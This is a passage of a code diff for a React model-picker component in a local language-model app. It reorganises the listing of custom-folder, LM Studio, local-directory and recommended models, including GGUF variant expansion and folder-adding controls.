+                      setExpandedGguf={setExpandedGguf}
+                      gpu={gpu}
+                    />
+                  )}
+                </>
+              ) : null}
+
+              {showCustom ? (
+                <>
+                  <div
+                    ref={customFolderSectionRef}
+                    className="mt-3 flex items-center gap-1 border-t border-border/50 px-2.5 pb-1 pt-3"
+                  >
                     <button
                       type="button"
                       onClick={() => setShowFolderBrowser(true)}
-                      disabled={folderLoading}
-                      aria-label="Browse for folder"
                       title="Browse folders on the server"
-                      className="flex h-6 shrink-0 items-center justify-center rounded border border-border/50 px-1.5 text-muted-foreground transition-colors hover:bg-accent hover:text-foreground disabled:opacity-40"
+                      className="flex items-center gap-1.5 text-[10px] font-semibold uppercase tracking-wider text-muted-foreground transition-colors hover:text-foreground"
                     >
-                      <HugeiconsIcon icon={Search01Icon} className="size-3" />
-                    </button>
-                    <button
-                      type="button"
-                      onClick={() => { void handleAddFolder(); }}
-                      disabled={folderLoading || !folderInput.trim()}
-                      className="h-6 shrink-0 rounded border border-border/50 px-1.5 text-[10px] text-muted-foreground transition-colors hover:bg-accent disabled:opacity-40"
-                    >
-                      Add
+                      <HugeiconsIcon icon={Folder02Icon} className="size-3.5" />
+                      Custom Folders
                     </button>
+                    <div className="flex items-center gap-0.5">
+                      <button
+                        type="button"
+                        aria-label={
+                          showFolderInput
+                            ? "Cancel adding folder"
+                            : "Add scan folder by path"
+                        }
+                        title={
+                          showFolderInput ? "Cancel" : "Add by typing a path"
+                        }
+                        onClick={() => {
+                          setShowFolderInput((open) => {
+                            if (open) {
+                              setFolderInput("");
+                              setFolderError(null);
+                            }
+                            return !open;
+                          });
+                        }}
+                        className="shrink-0 rounded p-1 text-muted-foreground/60 transition-colors hover:text-foreground"
+                      >
+                        <HugeiconsIcon
+                          icon={showFolderInput ? Cancel01Icon : Add01Icon}
+                          className="size-3"
+                        />
+                      </button>
+                      <button
+                        type="button"
+                        aria-label="Browse for a folder on the server"
+                        title="Browse folders on the server"
+                        onClick={() => setShowFolderBrowser(true)}
+                        className="shrink-0 rounded p-0.5 text-muted-foreground/60 transition-colors hover:text-foreground"
+                      >
+                        <HugeiconsIcon
+                          icon={Search01Icon}
+                          className="size-2.5"
+                        />
+                      </button>
+                    </div>
+                    <div className="ml-auto">
+                      <button
+                        type="button"
+                        aria-label={
+                          customFoldersCollapsed
+                            ? "Expand custom folders"
+                            : "Collapse custom folders"
+                        }
+                        title={customFoldersCollapsed ? "Expand" : "Collapse"}
+                        onClick={() => setCustomFoldersCollapsed((v) => !v)}
+                        className="shrink-0 rounded p-1 text-muted-foreground/60 transition-colors hover:text-foreground"
+                      >
+                        {customFoldersCollapsed ? (
+                          <ChevronRightIcon className="size-3" />
+                        ) : (
+                          <ChevronDownIcon className="size-3" />
+                        )}
+                      </button>
+                    </div>
                   </div>
-                  {folderError && (
-                    <p className="px-0.5 pt-0.5 text-[10px] text-destructive">{folderError}</p>
+
+                  {/* Folder paths */}
+                  {!customFoldersCollapsed &&
+                    scanFolders.map((f) => (
+                      <div
+                        key={f.id}
+                        className="group flex items-center gap-1.5 px-2.5 py-0.5"
+                      >
+                        <HugeiconsIcon
+                          icon={Folder02Icon}
+                          className="size-3 shrink-0 text-muted-foreground/40"
+                        />
+                        <span
+                          className="min-w-0 flex-1 truncate font-mono text-[10px] text-muted-foreground/70"
+                          title={f.path}
+                        >
+                          {f.path}
+                        </span>
+                        <button
+                          type="button"
+                          onClick={() => handleRemoveFolder(f.id)}
+                          aria-label={`Remove folder ${f.path}`}
+                          className="shrink-0 rounded p-1 text-foreground/70 transition-colors hover:bg-destructive/10 hover:text-destructive focus-visible:bg-destructive/10 focus-visible:text-destructive"
+                        >
+                          <HugeiconsIcon
+                            icon={Cancel01Icon}
+                            className="size-3"
+                          />
+                        </button>
+                      </div>
+                    ))}
+
+                  {/* Recommended folders */}
+                  {!customFoldersCollapsed &&
+                    (() => {
+                      const registered = new Set(
+                        scanFolders.map((f) => f.path),
+                      );
+                      const unregistered = recommendedFolders.filter(
+                        (p) => !registered.has(p),
+                      );
+                      if (unregistered.length === 0) return null;
+                      return (
+                        <div className="flex flex-wrap gap-1 px-2.5 pb-0.5">
+                          {unregistered.map((p) => (
+                            <button
+                              key={p}
+                              type="button"
+                              onClick={() => void handleAddFolder(p)}
+                              disabled={folderLoading}
+                              title={`Add ${p}`}
+                              className="rounded-full border border-dashed border-border/50 px-2 py-0.5 font-mono text-[10px] text-muted-foreground/70 transition-colors hover:border-foreground/30 hover:bg-accent hover:text-foreground disabled:opacity-40"
+                            >
+                              <span className="text-[11px] font-semibold">
+                                +
+                              </span>{" "}
+                              {p.length > 30 ? `...${p.slice(-27)}` : p}
+                            </button>
+                          ))}
+                        </div>
+                      );
+                    })()}
+
+                  {/* Add folder input */}
+                  {!customFoldersCollapsed && showFolderInput && (
+                    <div className="px-2.5 pb-1 pt-0.5">
+                      <div className="flex items-center gap-1">
+                        <HugeiconsIcon
+                          icon={Folder02Icon}
+                          className="size-3 shrink-0 text-muted-foreground/40"
+                        />
+                        <input
+                          value={folderInput}
+                          onChange={(e) => {
+                            setFolderInput(e.target.value);
+                            setFolderError(null);
+                          }}
+                          onKeyDown={(e) => {
+                            if (e.key === "Enter") {
+                              e.preventDefault();
+                              handleAddFolder();
+                            }
+                            if (e.key === "Escape") {
+                              e.preventDefault();
+                              e.stopPropagation();
+                              setShowFolderInput(false);
+                              setFolderInput("");
+                              setFolderError(null);
+                            }
+                          }}
+                          placeholder="/path/to/models"
+                          className="h-6 min-w-0 flex-1 rounded border border-border/50 bg-transparent px-1.5 font-mono text-[10px] text-foreground outline-none placeholder:text-muted-foreground/40 focus:border-foreground/20"
+                          disabled={folderLoading}
+                          autoFocus={true}
+                        />
+                        <button
+                          type="button"
+                          onClick={() => setShowFolderBrowser(true)}
+                          disabled={folderLoading}
+                          aria-label="Browse for folder"
+                          title="Browse folders on the server"
+                          className="flex h-6 shrink-0 items-center justify-center rounded border border-border/50 px-1.5 text-muted-foreground transition-colors hover:bg-accent hover:text-foreground disabled:opacity-40"
+                        >
+                          <HugeiconsIcon
+                            icon={Search01Icon}
+                            className="size-3"
+                          />
+                        </button>
+                        <button
+                          type="button"
+                          onClick={() => {
+                            void handleAddFolder();
+                          }}
+                          disabled={folderLoading || !folderInput.trim()}
+                          className="h-6 shrink-0 rounded border border-border/50 px-1.5 text-[10px] text-muted-foreground transition-colors hover:bg-accent disabled:opacity-40"
+                        >
+                          Add
+                        </button>
+                      </div>
+                      {folderError && (
+                        <p className="px-0.5 pt-0.5 text-[10px] text-destructive">
+                          {folderError}
+                        </p>
+                      )}
+                    </div>
                   )}
-                </div>
-              )}
 
-              <FolderBrowser
-                open={showFolderBrowser}
-                onOpenChange={setShowFolderBrowser}
-                initialPath={folderInput.trim() || undefined}
-                onSelect={(picked) => {
-                  setFolderInput(picked);
-                  setFolderError(null);
-                  // Pass the path explicitly: `folderInput` state hasn't
-                  // flushed yet when "Use this folder" submits.
-                  void handleAddFolder(picked);
-                }}
-              />
+                  <FolderBrowser
+                    open={showFolderBrowser}
+                    onOpenChange={setShowFolderBrowser}
+                    initialPath={folderInput.trim() || undefined}
+                    onSelect={(picked) => {
+                      setFolderInput(picked);
+                      setFolderError(null);
+                      // Pass the path explicitly: `folderInput` state hasn't
+                      // flushed yet when "Use this folder" submits.
+                      void handleAddFolder(picked);
+                    }}
+                  />
 
-
-              {/* Models from custom folders */}
-              {!customFoldersCollapsed && customFolderModels.map((m) => {
-                const isGgufFile = m.path.toLowerCase().endsWith(".gguf");
-                const isGguf =
-                  isGgufFile ||
-                  isGgufRepo(m.id) ||
-                  isGgufRepo(m.display_name);
-                // Single .gguf files (e.g. Ollama blobs) load directly;
-                // GGUF repos/directories expand to pick a variant.
-                const isDirectGguf = isGgufFile;
-                const optionKey = makeModelOptionKey("custom-folder", m.id);
-                return (
-                  <div key={m.id}>
-                    <ModelRow
-                      label={m.model_id ?? m.display_name}
-                      meta={isGguf ? "GGUF" : "Local"}
-                      selected={value === m.id}
-                      optionProps={hubModelList.getOptionProps(
-                        optionKey,
-                        value === m.id,
-                      )}
-                      onClick={() => {
-                        if (isDirectGguf) {
-                          onSelect(m.id, {
-                            source: "local",
-                            isLora: false,
-                            isDownloaded: true,
-                            isGguf: true,
-                          });
-                        } else if (isGguf) {
-                          setExpandedGguf((prev) =>
-                            prev === m.id ? null : m.id,
-                          );
-                        } else {
-                          onSelect(m.id, {
-                            source: "local",
-                            isLora: false,
-                            isDownloaded: true,
-                          });
-                        }
-                      }}
-                      onArrowDownIntoChildren={
-                        expandedGguf === m.id
-                          ? () => {
-                              const focused = focusFirstChildOption(optionKey);
-                              return focused;
-                            }
-                          : undefined
-                      }
-                      vramStatus={null}
-                    />
-                    {expandedGguf === m.id && (
-                      <GgufVariantExpander
-                        repoId={m.id}
-                        onSelect={onSelect}
-                        parentOptionKey={optionKey}
-                        onNavigatePastStart={() =>
-                          hubModelList.focusOption(optionKey)
-                        }
-                        onNavigatePastEnd={() =>
-                          hubModelList.moveFocus(optionKey, "next")
-                        }
-                        gpuGb={gpu.available ? gpu.memoryTotalGb : undefined}
-                        systemRamGb={
-                          gpu.available ? gpu.systemRamAvailableGb : undefined
-                        }
-                      />
-                    )}
-                  </div>
-                );
-              })}
-            </>
-          ) : null}
-
-          {!showHfSection && cachedReady ? (
-            <>
-              <ListLabel
-                icon={<HugeiconsIcon icon={StarIcon} className="size-3" />}
-                collapsed={recommendedCollapsed}
-                onToggle={() => setRecommendedCollapsed((v) => !v)}
-              >Recommended</ListLabel>
-              {recommendedCollapsed ? null : visibleRecommendedIds.length === 0 ? (
-                <div className="px-2.5 py-2 text-xs text-muted-foreground">
-                  No default models.
-                </div>
-              ) : (
-                visibleRecommendedIds.map((id) => {
-                  const vram = recommendedVramMap.get(id);
-                  const optionKey = makeModelOptionKey("recommended", id);
-                  return (
-                    <div key={id}>
-                      <ModelRow
-                        label={id}
-                        meta={
-                          isKnownGgufRepo(id)
-                            ? "GGUF"
-                            : (vram?.detail ?? extractParamLabel(id))
-                        }
-                        selected={value === id}
-                        optionProps={hubModelList.getOptionProps(
-                          optionKey,
-                          value === id,
-                        )}
-                        onClick={() => {
-                          if (isKnownGgufRepo(id)) {
-                            setExpandedGguf((prev) => (prev === id ? null : id));
-                          } else {
-                            handleModelClick(id);
-                          }
-                        }}
-                        vramStatus={
-                          isKnownGgufRepo(id) ? null : (vram?.status ?? null)
-                        }
-                        vramEst={isKnownGgufRepo(id) ? undefined : vram?.est}
-                        gpuGb={gpu.available ? gpu.memoryTotalGb : undefined}
-                        onArrowDownIntoChildren={
-                          expandedGguf === id
-                            ? () => {
-                                const focused = focusFirstChildOption(optionKey);
-                                return focused;
-                              }
-                            : undefined
-                        }
-                      />
-                      {expandedGguf === id && (
-                        <GgufVariantExpander
-                          repoId={id}
-                          onSelect={onSelect}
-                          parentOptionKey={optionKey}
-                          onNavigatePastStart={() =>
-                            hubModelList.focusOption(optionKey)
-                          }
-                          onNavigatePastEnd={() =>
-                            hubModelList.moveFocus(optionKey, "next")
-                          }
-                          gpuGb={gpu.available ? gpu.memoryTotalGb : undefined}
-                          systemRamGb={
-                            gpu.available ? gpu.systemRamAvailableGb : undefined
-                          }
-                        />
-                      )}
-                    </div>
-                  );
-                })
-              )}
-              {!recommendedCollapsed && hasMoreRecommended && (
-                <>
-                  <div ref={recommendedSentinelRef} className="h-px" />
-                  <div className="flex items-center justify-center py-2">
-                    <Spinner className="size-3.5 text-muted-foreground" />
-                  </div>
-                </>
-              )}
-            </>
-          ) : null}
-
-          {showHfSection && filteredRecommendedIds.length > 0 ? (
-            <>
-              <ListLabel icon={<HugeiconsIcon icon={StarIcon} className="size-3" />}>Recommended</ListLabel>
-              {filteredRecommendedIds.map((id) => {
-                const vram = recommendedVramMap.get(id);
-                const optionKey = makeModelOptionKey("search-recommended", id);
-                return (
-                  <div key={id}>
-                    <ModelRow
-                      label={id}
-                      meta={
-                        isKnownGgufRepo(id)
-                          ? "GGUF"
-                          : (vram?.detail ?? extractParamLabel(id))
-                      }
-                      selected={value === id}
-                      optionProps={hubModelList.getOptionProps(
-                        optionKey,
-                        value === id,
-                      )}
-                      onClick={() => {
-                        if (isKnownGgufRepo(id)) {
-                          setExpandedGguf((prev) => (prev === id ? null : id));
-                        } else {
-                          handleModelClick(id);
-                        }
-                      }}
-                      vramStatus={
-                        isKnownGgufRepo(id) ? null : (vram?.status ?? null)
-                      }
-                      vramEst={isKnownGgufRepo(id) ? undefined : vram?.est}
-                      gpuGb={gpu.available ? gpu.memoryTotalGb : undefined}
-                      onArrowDownIntoChildren={
-                        expandedGguf === id
-                          ? () => {
-                              const focused = focusFirstChildOption(optionKey);
-                              return focused;
-                            }
-                          : undefined
-                      }
-                    />
-                    {expandedGguf === id && (
-                      <GgufVariantExpander
-                        repoId={id}
-                        onSelect={onSelect}
-                        parentOptionKey={optionKey}
-                        onNavigatePastStart={() =>
-                          hubModelList.focusOption(optionKey)
-                        }
-                        onNavigatePastEnd={() =>
-                          hubModelList.moveFocus(optionKey, "next")
-                        }
-                        gpuGb={gpu.available ? gpu.memoryTotalGb : undefined}
-                        systemRamGb={
-                          gpu.available ? gpu.systemRamAvailableGb : undefined
-                        }
-                      />
-                    )}
-                  </div>
-                );
-              })}
-            </>
-          ) : null}
-
-          {showHfSection ? (
-            <>
-              {(hfIds.length > 0 || isLoading) && (
-                <ListLabel>Hugging Face</ListLabel>
-              )}
-              {hfIds.length === 0 && !isLoading ? (
-                filteredRecommendedIds.length === 0 &&
-                visibleCachedGguf.length === 0 &&
-                visibleCachedModelRows.length === 0 ? (
-                  <div className="px-2.5 py-2 text-xs text-muted-foreground">
-                    No matching models.
-                  </div>
-                ) : null
-                ) : (
-                hfIds.map((id) => {
-                  const vram = vramMap.get(id);
-                  const isSearchGguf = isKnownGgufRepo(id);
-                  const optionKey = makeModelOptionKey("search-hf", id);
-                  return (
-                    <div key={id}>
-                      <ModelRow
-                        label={id}
-                        meta={
-                          isSearchGguf
-                            ? "GGUF"
-                            : (metricsById.get(id) ?? extractParamLabel(id))
-                        }
-                        selected={value === id}
-                        optionProps={hubModelList.getOptionProps(
-                          optionKey,
-                          value === id,
-                        )}
-                        onClick={() => {
-                          if (isSearchGguf) {
-                            setExpandedGguf((prev) => (prev === id ? null : id));
-                          } else {
-                            handleModelClick(id);
-                          }
-                        }}
-                        vramStatus={
-                          isSearchGguf ? null : (vram?.status ?? null)
-                        }
-                        vramEst={isSearchGguf ? undefined : vram?.est}
-                        gpuGb={gpu.available ? gpu.memoryTotalGb : undefined}
-                        onArrowDownIntoChildren={
-                          expandedGguf === id
-                            ? () => {
-                                const focused = focusFirstChildOption(optionKey);
-                                return focused;
-                              }
-                            : undefined
-                        }
-                      />
-                      {expandedGguf === id && (
-                        <GgufVariantExpander
-                          repoId={id}
-                          onSelect={onSelect}
-                          parentOptionKey={optionKey}
-                          onNavigatePastStart={() =>
-                            hubModelList.focusOption(optionKey)
-                          }
-                          onNavigatePastEnd={() =>
-                            hubModelList.moveFocus(optionKey, "next")
-                          }
-                          gpuGb={gpu.available ? gpu.memoryTotalGb : undefined}
-                          systemRamGb={
-                            gpu.available ? gpu.systemRamAvailableGb : undefined
-                          }
-                        />
-                      )}
-                    </div>
-                  );
-                })
-              )}
-              <div ref={sentinelRef} className="h-px" />
-              {isLoadingMore ? (
-                <div className="flex items-center justify-center py-2">
-                  <Spinner className="size-3.5 text-muted-foreground" />
-                </div>
-              ) : null}
-            </>
-          ) : null}
-        </div>
-      </div>
-
-    </div>
-  );
-}
-
-export function LoraModelPicker({
-  loraModels,
-  value,
-  onSelect,
-  onModelsChange,
-  deleteDisabled = false,
-}: {
-  loraModels: LoraModelOption[];
-  value?: string;
-  onSelect: (id: string, meta: ModelSelectorChangeMeta) => void;
-  onModelsChange?: (deletedModel?: DeletedModelRef) => void;
-  deleteDisabled?: boolean;
-}) {
-  const [query, setQuery] = useState("");
-  const [expandedGguf, setExpandedGguf] = useState<string | null>(null);
-  const gpu = useGpuInfo();
-
-  const normalized = useMemo(
-    () =>
-      loraModels
-        .map((model) => ({
-          ...model,
-          baseModel:
-            model.baseModel || model.description || "Unknown base model",
-        }))
-        .sort((a, b) => {
-          const baseCmp = a.baseModel.localeCompare(b.baseModel);
-          if (baseCmp !== 0) return baseCmp;
-          // Prioritize unsloth publisher within LM Studio group
-          if (a.baseModel === "LM Studio" && b.baseModel === "LM Studio") {
-            const aUnsloth = a.name.startsWith("unsloth/") ? 0 : 1;
-            const bUnsloth = b.name.startsWith("unsloth/") ? 0 : 1;
-            if (aUnsloth !== bUnsloth) return aUnsloth - bUnsloth;
-          }
-          const aTime = a.updatedAt ?? -1;
-          const bTime = b.updatedAt ?? -1;
-          if (aTime !== bTime) return bTime - aTime;
-          return a.name.localeCompare(b.name);
-        }),
-    [loraModels],
-  );
-
-  const grouped = useMemo(() => {
-    const needle = normalizeForSearch(query.trim());
-    const out = new Map<string, LoraModelOption[]>();
-
-    for (const model of normalized) {
-      const searchText = normalizeForSearch(
-        `${model.name} ${model.baseModel} ${model.id}`,
-      );
-      if (needle && !searchText.includes(needle)) continue;
-
-      const key = model.baseModel || "Unknown base model";
-      const prev = out.get(key) ?? [];
-      prev.push(model);
-      out.set(key, prev);
-    }
-
-    return [...out.entries()].sort((a, b) => {
-      const aLatest = Math.max(...a[1].map((model) => model.updatedAt ?? -1));
-      const bLatest = Math.max(...b[1].map((model) => model.updatedAt ?? -1));
-      if (aLatest !== bLatest) return bLatest - aLatest;
-      return a[0].localeCompare(b[0]);
-    });
-  }, [normalized, query]);
-
-  const loraOptionKeys = useMemo(
-    () =>
-      grouped.flatMap(([, adapters]) =>
-        adapters.map((adapter) => makeModelOptionKey("lora", adapter.id)),
-      ),
-    [grouped],
-  );
-  const selectedLoraOptionKey = useMemo(
-    () =>
-      value
-        ? loraOptionKeys.find((optionKey) => optionKey.endsWith(`::${value}`))
-        : undefined,
-    [loraOptionKeys, value],
-  );
-  const loraModelList = useRovingModelList({
-    label: "Fine-tuned models",
-    optionKeys: loraOptionKeys,
-    selectedOptionKey: selectedLoraOptionKey,
-  });
-
-  return (
-    <div className="space-y-2">
-      <div className="relative">
-        <HugeiconsIcon
-          icon={Search01Icon}
-          className="pointer-events-none absolute left-2.5 top-2.5 size-4 text-muted-foreground"
-        />
-        <Input
-          value={query}
-          onChange={(event) => setQuery(event.target.value)}
-          placeholder="Search trained models"
-          data-model-picker-search-input={true}
-          className="h-9 border-[#f2f2f2] dark:border-input pl-8"
-        />
-      </div>
-
-      <div className="max-h-64 overflow-y-auto" {...loraModelList.listboxProps}>
-        <div className="py-1">
-          {grouped.length === 0 ? (
-            <div className="px-2.5 py-2 text-xs text-muted-foreground">
-              No trained models found.
-            </div>
-          ) : (
-            grouped.map(([baseModel, adapters], index) => (
-              <div key={baseModel}>
-                {index > 0 ? <div className="my-1" /> : null}
-                <ListLabel>{baseModel}</ListLabel>
-                {adapters.map((adapter) => {
-                  const isLocal = adapter.source === "local";
-                  const isTraining = adapter.source === "training";
-                  const isExported = adapter.source === "exported";
-                  const isMerged = adapter.exportType === "merged";
-                  const isGguf = adapter.exportType === "gguf";
-                  const isExportedGguf = isExported && isGguf;
-                  const canDelete = canDeleteLoraModel(adapter);
-                  const isTrainingFull = isTraining && isMerged;
-                  const isLocalGgufDir =
-                    isLocal &&
-                    (isGgufRepo(adapter.id) || isGgufRepo(adapter.name));
-                  const optionKey = makeModelOptionKey("lora", adapter.id);
-                  const tag = isLocal
-                    ? isLocalGgufDir
-                      ? "GGUF"
-                      : "Local"
-                    : isGguf
-                      ? "GGUF"
-                      : isTrainingFull
-                        ? "Full"
-                      : isExported
-                        ? isMerged
-                          ? "Merged"
-                          : "LoRA"
-                        : "LoRA";
-                  const meta = isLocal
-                    ? isLocalGgufDir
-                      ? "GGUF"
-                      : "Local"
-                    : isTrainingFull
-                      ? "Full finetune"
-                    : isExported
-                      ? `${tag} · Exported`
-                      : tag;
-                  return (
-                    <div key={adapter.id}>
-                      <div className="flex items-center gap-0.5">
-                        <div className="min-w-0 flex-1">
+                  {/* Models from custom folders */}
+                  {!customFoldersCollapsed &&
+                    sortedCustomFolderModels.map((m) => {
+                      const isGgufFile = m.path.toLowerCase().endsWith(".gguf");
+                      // Honor the backend model_format hint (suffixless GGUF
+                      // folders) in addition to name/path so the row classifies
+                      // and loads through the same GGUF path as the filter.
+                      const isGguf = localModelIsGguf(m);
+                      // Single .gguf files (e.g. Ollama blobs) load directly;
+                      // GGUF repos/directories expand to pick a variant.
+                      const isDirectGguf = isGgufFile;
+                      const optionKey = makeModelOptionKey(
+                        "custom-folder",
+                        m.id,
+                      );
+                      return (
+                        <div key={m.id}>
                           <ModelRow
-                            label={adapter.name}
-                            meta={meta}
-                            selected={value === adapter.id}
-                            optionProps={loraModelList.getOptionProps(
+                            label={m.model_id ?? m.display_name}
+                            meta={isGguf ? "GGUF" : "Local"}
+                            selected={value === m.id}
+                            optionProps={hubModelList.getOptionProps(
                               optionKey,
-                              value === adapter.id,
+                              value === m.id,
                             )}
                             onClick={() => {
-                              if (isLocalGgufDir || isExportedGguf) {
-                                setExpandedGguf((prev) =>
-                                  prev === adapter.id ? null : adapter.id,
-                                );
+                              if (isDirectGguf) {
+                                onSelect(m.id, {
+                                  source: "local",
+                                  isLora: false,
+                                  isDownloaded: true,
+                                  // Mark GGUF so "Load on selection = off" stages
+                                  // through Run settings (matches LM Studio path).
+                                  isGguf: true,
+                                });
+                              } else if (isGguf) {
+                                toggleGgufExpanded(m.id);
                               } else {
-                                onSelect(adapter.id, {
-                                  source: isLocal
-                                    ? "local"
-                                    : isExported
-                                      ? "exported"
-                                      : "lora",
-                                  isLora: !isLocal && !isMerged && !isGguf,
+                                onSelect(m.id, {
+                                  source: "local",
+                                  isLora: false,
                                   isDownloaded: true,
                                 });
                               }
                             }}
-                            tooltipText={
-                              <>
-                                <span className="block break-words">
-                                  {adapter.name}
-                                </span>
-                                <span className="block mt-1 text-[10px] text-muted-foreground break-all">
-                                  {adapter.id}
-                                </span>
-                              </>
+                            onArrowDownIntoChildren={
+                              isGgufExpanded(m.id)
+                                ? () => {
+                                    const focused =
+                                      focusFirstChildOption(optionKey);
+                                    return focused;
+                                  }
+                                : undefined
+                            }
+                            vramStatus={null}
+                          />
+                          {isGgufExpanded(m.id) && (
+                            <GgufVariantExpander
+                              repoId={m.id}
+                              onDevice={true}
+                              onSelect={onSelect}
+                              parentOptionKey={optionKey}
+                              onNavigatePastStart={() =>
+                                hubModelList.focusOption(optionKey)
+                              }
+                              onNavigatePastEnd={() =>
+                                hubModelList.moveFocus(optionKey, "next")
+                              }
+                              gpuGb={
+                                gpu.available ? gpu.memoryTotalGb : undefined
+                              }
+                              systemRamGb={gpu.systemRamAvailableGb || undefined}
+                            />
+                          )}
+                        </div>
+                      );
+                    })}
+                  {!customFoldersCollapsed &&
+                  showHfSection &&
+                  sortedCustomFolderModels.length === 0 ? (
+                    <div className="px-2.5 py-2 text-xs text-muted-foreground">
+                      No matching models in custom folders.
+                    </div>
+                  ) : null}
+                </>
+              ) : null}
+
+              {section === "downloaded" && sortedLmStudio.length > 0 ? (
+                <>
+                  <ListLabel
+                    divider={true}
+                    collapsed={lmStudioCollapsed}
+                    onToggle={() => setLmStudioCollapsed((v) => !v)}
+                  >
+                    LM Studio
+                  </ListLabel>
+                  {!lmStudioCollapsed &&
+                    sortedLmStudio.map((m) => {
+                      const isGgufFile = m.path.toLowerCase().endsWith(".gguf");
+                      // LM Studio dirs are GGUF but rarely carry a -GGUF suffix;
+                      // use the shared helper (model_format hint) so the row,
+                      // filter, and load path agree.
+                      const isGguf = localModelIsGguf(m);
+                      const optionKey = makeModelOptionKey("lm-studio", m.id);
+                      return (
+                        <div key={m.id}>
+                          <ModelRow
+                            label={m.model_id ?? m.display_name}
+                            meta={isGguf ? "GGUF" : "Local"}
+                            selected={value === m.id}
+                            optionProps={hubModelList.getOptionProps(
+                              optionKey,
+                              value === m.id,
+                            )}
+                            onClick={() => {
+                              if (isGgufFile) {
+                                onSelect(m.id, {
+                                  source: "local",
+                                  isLora: false,
+                                  isDownloaded: true,
+                                  isGguf: true,
+                                });
+                              } else if (isGguf) {
+                                toggleGgufExpanded(m.id);
+                              } else {
+                                onSelect(m.id, {
+                                  source: "local",
+                                  isLora: false,
+                                  isDownloaded: true,
+                                });
+                              }
+                            }}
+                            onArrowDownIntoChildren={
+                              !isGgufFile && isGgufExpanded(m.id)
+                                ? () => {
+                                    const focused =
+                                      focusFirstChildOption(optionKey);
+                                    return focused;
+                                  }
+                                : undefined
+                            }
+                            vramStatus={null}
+                          />
+                          {!isGgufFile && isGgufExpanded(m.id) && (
+                            <GgufVariantExpander
+                              repoId={m.id}
+                              onDevice={true}
+                              onSelect={onSelect}
+                              parentOptionKey={optionKey}
+                              onNavigatePastStart={() =>
+                                hubModelList.focusOption(optionKey)
+                              }
+                              onNavigatePastEnd={() =>
+                                hubModelList.moveFocus(optionKey, "next")
+                              }
+                              gpuGb={
+                                gpu.available ? gpu.memoryTotalGb : undefined
+                              }
+                              systemRamGb={gpu.systemRamAvailableGb || undefined}
+                            />
+                          )}
+                        </div>
+                      );
+                    })}
+                </>
+              ) : null}
+
+              {section === "downloaded" && sortedLocalDir.length > 0 ? (
+                <>
+                  <ListLabel
+                    divider={true}
+                    collapsed={localDirCollapsed}
+                    onToggle={() => setLocalDirCollapsed((v) => !v)}
+                  >
+                    Local models
+                  </ListLabel>
+                  {!localDirCollapsed &&
+                    sortedLocalDir.map((m) => {
+                      // A loose ./models/*.gguf file loads directly; a GGUF repo
+                      // directory expands to pick a variant. The backend's local
+                      // variant scanner returns nothing for a config-less loose
+                      // file, so expanding it would dead-end at "No GGUF variants".
+                      const isGgufFile = m.path.toLowerCase().endsWith(".gguf");
+                      const isGguf = localModelIsGguf(m);
+                      const optionKey = makeModelOptionKey("local-dir", m.id);
+                      return (
+                        <div key={m.id}>
+                          <ModelRow
+                            label={m.model_id ?? m.display_name}
+                            meta={isGguf ? "GGUF" : "Local"}
+                            selected={value === m.id}
+                            optionProps={hubModelList.getOptionProps(
+                              optionKey,
+                              value === m.id,
+                            )}
+                            onClick={() => {
+                              if (isGgufFile) {
+                                onSelect(m.id, {
+                                  source: "local",
+                                  isLora: false,
+                                  isDownloaded: true,
+                                  isGguf: true,
+                                });
+                              } else if (isGguf) {
+                                toggleGgufExpanded(m.id);
+                              } else {
+                                onSelect(m.id, {
+                                  source: "local",
+                                  isLora: false,
+                                  isDownloaded: true,
+                                });
+                              }
+                            }}
+                            onArrowDownIntoChildren={
+                              !isGgufFile && isGgufExpanded(m.id)
+                                ? () => focusFirstChildOption(optionKey)
+                                : undefined
+                            }
+                            vramStatus={null}
+                          />
+                          {!isGgufFile && isGgufExpanded(m.id) && (
+                            <GgufVariantExpander
+                              repoId={m.id}
+                              onDevice={true}
+                              onSelect={onSelect}
+                              parentOptionKey={optionKey}
+                              onNavigatePastStart={() =>
+                                hubModelList.focusOption(optionKey)
+                              }
+                              onNavigatePastEnd={() =>
+                                hubModelList.moveFocus(optionKey, "next")
+                              }
+                              gpuGb={
+                                gpu.available ? gpu.memoryTotalGb : undefined
+                              }
+                              systemRamGb={gpu.systemRamAvailableGb || undefined}
+                            />
+                          )}
+                        </div>
+                      );
+                    })}
+                </>
+              ) : null}
+
+              {showRecommendedSection ? (
+                <>
+                  {recommendedSearch.isLoading &&
+                  recommendedRows.length === 0 ? (
+                    <div className="flex items-center gap-2 px-5 py-3">
+                      <Spinner className="size-3 text-muted-foreground" />
+                      <span className="text-xs text-muted-foreground">
+                        Loading models…
+                      </span>
+                    </div>
+                  ) : recommendedRows.length === 0 ? (
+                    <div className="px-2.5 py-2 text-xs text-muted-foreground">
+                      No models found.
+                    </div>
+                  ) : (
+                    recommendedRows.map((r) => {
+                      const id = r.id;
+                      const info = recommendedMeta.get(id);
+                      const isG = isKnownGgufRepo(id);
+                      const optionKey = makeModelOptionKey("recommended", id);
+                      return (
+                        <div key={id}>
+                          <ModelRow
+                            label={id}
+                            hideOwner={true}
+                            downloaded={downloadedSet.has(id.toLowerCase())}
+                            capabilities={capsById.get(id)}
+                            meta={
+                              info?.meta ??
+                              (isG ? "GGUF" : extractParamLabel(id))
+                            }
+                            selected={value === id}
+                            optionProps={hubModelList.getOptionProps(
+                              optionKey,
+                              value === id,
+                            )}
+                            onClick={() => {
+                              if (isG) {
+                                setExpandedGguf((prev) =>
+                                  prev === id ? null : id,
+                                );
+                              } else {
+                                handleModelClick(id);
+                              }
+                            }}
+                            vramStatus={info?.status ?? null}
+                            vramEst={info?.est}
+                            gpuGb={
+                              gpu.available ? gpu.memoryTotalGb : undefined
                             }
                             onArrowDownIntoChildren={
-                              expandedGguf === adapter.id
+                              expandedGguf === id
+                                ? () => focusFirstChildOption(optionKey)
+                                : undefined
+                            }
+                          />
+                          {expandedGguf === id && (
+                            <GgufVariantExpander
+                              repoId={id}
+                              onSelect={onSelect}
+                              parentOptionKey={optionKey}
+                              onNavigatePastStart={() =>
+                                hubModelList.focusOption(optionKey)
+                              }
+                              onNavigatePastEnd={() =>
+                                hubModelList.moveFocus(optionKey, "next")
+                              }
+                              gpuGb={
+                                gpu.available ? gpu.memoryTotalGb : undefined
+                              }
+                              systemRamGb={gpu.systemRamAvailableGb || undefined}
+                              onDeleteVariant={async (quant) => {
+                                await deleteCachedModel(id, quant);
+                                refreshCachedLists();
+                              }}
+                            />
+                          )}
+                        </div>
+                      );
+                    })
+                  )}
+                  {recommendedSearch.hasMore && (
+                    <>
+                      <div ref={recommendedSentinelRef} className="h-px" />
+                      <div className="flex items-center justify-center py-2">
